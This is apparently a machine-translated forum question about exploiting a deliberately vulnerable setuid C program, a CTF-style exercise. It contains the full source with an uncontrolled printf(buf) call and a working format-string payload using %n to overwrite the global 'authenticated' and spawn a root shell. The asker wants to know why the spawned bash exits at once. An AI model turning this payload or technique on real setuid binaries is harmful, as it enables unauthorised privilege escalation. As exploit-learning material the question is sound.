У меня есть двоичный файл Setuid с уязвимостью строки формата printf, которую предполагается использовать с "% n" для перезаписи значения глобальной переменной authenticated
. Выполнение / bin / bash работает с полномочиями root Setuid при authenticated = 1
, но не при authenticated = 0
и использовании эксплойта.
Я пробовал с ls
, и это работает, так что exec происходит. Я также попытался сделать authenticated = 1
в исходном коде, чтобы он автоматически запускал bash без эксплойтов. Это работает в порождении корневой оболочки. Когда эксплойт используется, программа вызывает функцию предоставленного доступа, как и ожидалось, но заканчивается в exec, и perror никогда не достигается. Родительский процесс, однако, умирает, а это означает, что exe bash должен был произойти. Bash должен быть запущен, но он аварийно завершает работу / завершается при запуске.
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <errno.h>
int authenticated = 0;
void read_flag() {
if (!authenticated) {
printf("Sorry, you are not *authenticated*!\n");
}
else {
printf("Access Granted.\n");
int cpid = fork();
if(cpid == 0){
printf("child!\n");
execlp("/bin/bash", "bash", NULL);
perror("error");
}
else{
wait(NULL);
}
}
}
int main(int argc, char **argv) {
setvbuf(stdout, NULL, _IONBF, 0);
char buf[64];
// Set the gid to the effective gid
// this prevents /bin/sh from dropping the privileges
setreuid(geteuid(), getuid());
printf("Would you like a shell? (yes/no)\n");
fgets(buf, sizeof(buf), stdin);
if (strstr(buf, "no") != NULL) {
printf("Okay, Exiting...\n");
exit(1);
}
else if (strstr(buf, "yes") == NULL) {
puts("Received Unknown Input:\n");
printf(buf);
}
read_flag();
}
С authenticated = 0, я использую GDB, чтобы найти адрес authenticated
где-то как 0x0804a050. Я запускаю программу с AAAA% x% x% x ... и обнаруживаю, что buf
начинается с позиции 4-го стека. Мой эксплойт: python -c "print('\x50\xa0\x04\x08%x%x%x%n')"
, который успешно перезаписывает глобальную переменную как «Доступ разрешен!» печатается. Perror никогда не достигается, и Bash должен появиться, но родительский процесс умирает, поэтому процесс Bash, должно быть, тоже умер.
Этого не происходит, когда authenticated = 1
. В этом сценарии бинарный файл Setuid ведет себя как положено и открывает корневую оболочку.
Мой вопрос: почему Bash умирает при запуске, но только когда используется бинарный файл Detuid?
Bash, должно быть, умирает, потому что ps -aux
не перечисляет новый процесс Bash, и выполнение exit
выходит из вызывающего экземпляра bash.